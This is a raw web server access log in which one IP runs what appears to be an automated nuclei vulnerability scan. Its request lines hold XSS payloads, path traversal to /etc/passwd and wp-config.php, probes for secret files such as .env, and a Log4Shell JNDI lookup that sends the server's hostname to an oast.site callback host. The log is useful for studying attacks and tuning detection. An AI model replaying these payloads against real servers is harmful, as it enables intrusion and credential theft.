[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Cargo.lock HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cassia/login HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /build/build.properties HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=step_1 HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /restrito/login/sub/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /centreon/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/viewfile/?file=/WEB-INF/resin-web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /behat.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.policy HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archibus/schema/ab-core/views/sign-in/ab-sign-in.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///apps HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/printenv.pl HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WLC0ney2%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/test/test.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/tmui/login/welcome.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/calendar/agenda_list.php?type=xss\"+onmouseover=alert(document.domain)+\" HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/masonry/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1&event2&event3&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.json.servlet HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927396762 HTTP/1.1" -
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.css?path=/etc&p.hits=full&p.limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.angular.json HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/session HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/Login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.feed HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmt/tm/sys/management-ip HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendar/admin/cal_login.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=WlB0YC HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/style/build.properties HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud-config.yml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cb_install/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login.ns HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?query=SHOW%20DATABASES HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vpn/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/logon.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //WLC0ney2%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/church-admin/display/download.php?key=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chronos.wsc/asparamlogin.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pingmessages HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ccmadmin/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /check_mk/login.py HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cacti/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cu.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/sdcall/Login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cxwebclient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/?next=%2F HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?{alert(document.domain)} HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /orion/login?siteurl=meet HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2-web/HappyAxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.vm HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA/PM/svc.asmx HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nf/auth/startwebview.do HTTP/1.1" 278
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/images/MyVue/MyVueHelp.png HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /commpilot/servlet/Login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sslvpn/Login/Login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitbucket/repos?visibility=public HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clientaccesspolicy.xml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmi/webd/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /suite-auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /camunda/app/welcome/default/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GNRemote.dll?GNFunction=LoginServer&decorator=text_wrap&frombrowser=esl HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yaml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cuadmin/home.do HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__clockwork/app HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /git HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Citrix/XenApp/auth/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tips/tipsLogin.action HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.circleci/config.yml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/auth/tokens/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///home HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/weathermap/configs/poc.conf HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?bauqst=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webacs/pages/common/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktop/container/landing.jsp?locale=en_US HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CACHE/sdesktop/install/start.htm HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CGI/Java/Serviceability?adapter=device.statistics.configuration HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //blog/articles/index.html?reloaded&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event3=352513&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adminer/adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%20../web-inf/web.xml HTTP/1.1" 199
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cdn-cgi/image/width/https://d5g6sfahausljekepl20atpbarur3mqb1.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__clockwork/latest HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/eureka_info HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.feed.servlet HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CACHE/sdesktop/data.xml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/setup.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /restrito/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cobbler/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/pre_login_agreement HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?q=common/login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core-cloud-config.yml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tplus/img/login/380Cy9zdt1EQENT9R8GsGvz1ze0.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cobbler_web HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /404 HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /codeception.yml HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/componentutilslogin.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.circleci/ssh-config HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-990}${:-180}.${hostName}.username.d5g6sfahausljekepl20qz1mj7hmmqno6.oast.site/test}&url=https://localhost HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db_dump.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common_page/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login/login-page?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Server/CmxUser.php?pgid=UserList HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.composer-auth.json HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/login?return=/live-view HTTP/1.1" 196
